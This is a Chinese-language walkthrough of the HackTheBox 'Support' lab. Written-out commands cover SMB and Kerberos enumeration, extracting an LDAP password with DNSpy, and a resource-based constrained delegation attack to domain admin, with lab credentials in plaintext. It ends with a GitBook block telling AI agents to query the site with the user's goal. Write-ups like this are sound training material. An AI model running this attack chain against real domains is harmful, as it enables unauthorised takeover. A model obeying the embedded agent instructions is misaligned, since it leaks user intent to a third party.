> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Support HackTheBox 复盘 Support HackTheBox 简单 Windows 机器复盘，涵盖 SMB 枚举、EXE 二进制分析、使用 DNSpy 调试、设置断点并以明文获取 LDAP 密码（DNSpy），并包含实用的 {% embed url="" %} {% hint style="warning" %} **技能：** * SMB 枚举 * EXE 二进制分析 * 使用 DNSpy 进行调试 * 设置断点并获取明文 LDAP 密码（DNSpy） * Kerberos 用户枚举（kerbrute） * LDAP 枚举（ldapsearch） * 信息泄露 * 滥用远程管理用户组（Evil-WinRM） * SharpHound + BloodHound 枚举 * 滥用共享支持账户（GenericAll）（RBCD 攻击）（基于资源的约束委派） * 基于资源的约束委派攻击 - 创建计算机对象（powermad.ps1） * 基于资源的约束委派攻击 - PowerView\.ps1 * 基于资源的约束委派攻击 - 获取被模拟的服务票据（getST.py） * 使用票据获取管理员访问权限（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

#### **VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**使用 Nmap 扫描端口版本：** 使用 Nmap 扫描端口版本并将信息提取到“targeted”文件： ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **DC 枚举：** ### 列出 SMB：使用 CrackMapExec 进行 SMB 枚举。 ```bash crackmapexec smb 10.10.11.174 ```

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件

### **Kerberos 列表：** 使用 Kerbrute 枚举用户。 ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **探索网络共享：** 在网络中搜索共享文件夹。 ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

我们发现了一个名为“UserInfo-exe-zip”的有趣 zip 文件。为继续操作，我们使用 `get` 命令将其下载到我们的机器上。

### /*/* Windows 二进制文件分析：/*/* 我们将在一台配备 Windows 的机器上运行一个 Windows 可执行文件。为此，我们需要： 1. 传输 ZIP 压缩包

2. VPN 配置迁移 3. `/etc/hosts` 配置

要运行该二进制文件并识别所有有效用户，只需输入以下命令 ```bash ./UserInfo.exe find -first * -last * ``` #### 该二进制文件将允许我们列出用户。

#### 使用 DNSpy 分析下载的 Windows 二进制文件。 {% embed url="" %}

### **提取明文密码：** 使用 DNSpy 从 Windows 二进制文件中提取明文密码。

我们将运行该程序，但只会在文本变为明文的部分暂停。

这是 LDAP 密码：

### **LDAP 密码验证：** 使用 CrackMapExec 检查提取出的密码。 ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### 域列表： ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### 域用户 ``` enumdomusers ```

#### 域组 ```bash enumdomgroups ```

#### 用户描述： ```bash querydispinfo ```

#### 将所有有效的域用户写入文件。 ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### 我们现在检查 LDAP 密码是否可被下列某个用户复用： ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` 然而，这不起作用。

### **LDPA 列表：** {% embed url="" %} #### 使用 LDAP 搜索来枚举信息。 ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### 可获得大量数据，但通过对歌曲信息应用过滤器，发现了 support 用户的密码。 ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **利用：** #### 使用 CrackMapExec 确认与 support 账户关联的密码。 ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` 该用户属于远程管理用户组，使我们能够通过 Windows 远程管理（WinRM）进行连接。 ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **使用 Evil-WinRM：** 使用获得的已识别信息通过 Evil-WinRM 连接到目标系统。

## 权限提升 ### **检查当前权限：**
使用 `whoami /priv` 用于检查用户权限的命令，但未成功。

### **分析成员组：** 使用 `net user support` 用于检查该用户所属组的命令。发现了一个看似罕见的组，“shared support accounts”。

### **使用 BloodHound 进行权限分析：** #### 使用 BloodHound 工具映射访问关系。 {% embed url="" %}

### **执行 SharpHound 以进一步分析：** 使用 SharpHound（BloodHound 的辅助工具）收集有关访问关系的更多数据。 ```powershell ./SharpHound.exe -c All ```

## 基于资源的约束委派攻击漏洞： {% embed url="" %} ### **基于资源的约束委派攻击漏洞识别：**

#### 部署 Powermad 脚本以创建计算机账户。 {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### 使用 PowerView 检查计算机账户创建。 {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### 使用 PowerShell 命令为计算机账户定义授权。 ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### 使用此命令，我们检查整个 'Get-DomainComputer dc' 流程是否能使用 'msds-allowedtoactonbehalfofather identity' 属性正常工作。

### **漏洞利用** #### 使用 Impacket 工具执行 `getST` 命令以获取一个模拟 Administrator 用户的 TGT 票据。 ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### 通过导出配置 Administrator 的 Kerberos 环境， `KRB5CCNAME`，然后使用 Impacket 连接到目标系统 `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### 最终 Flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.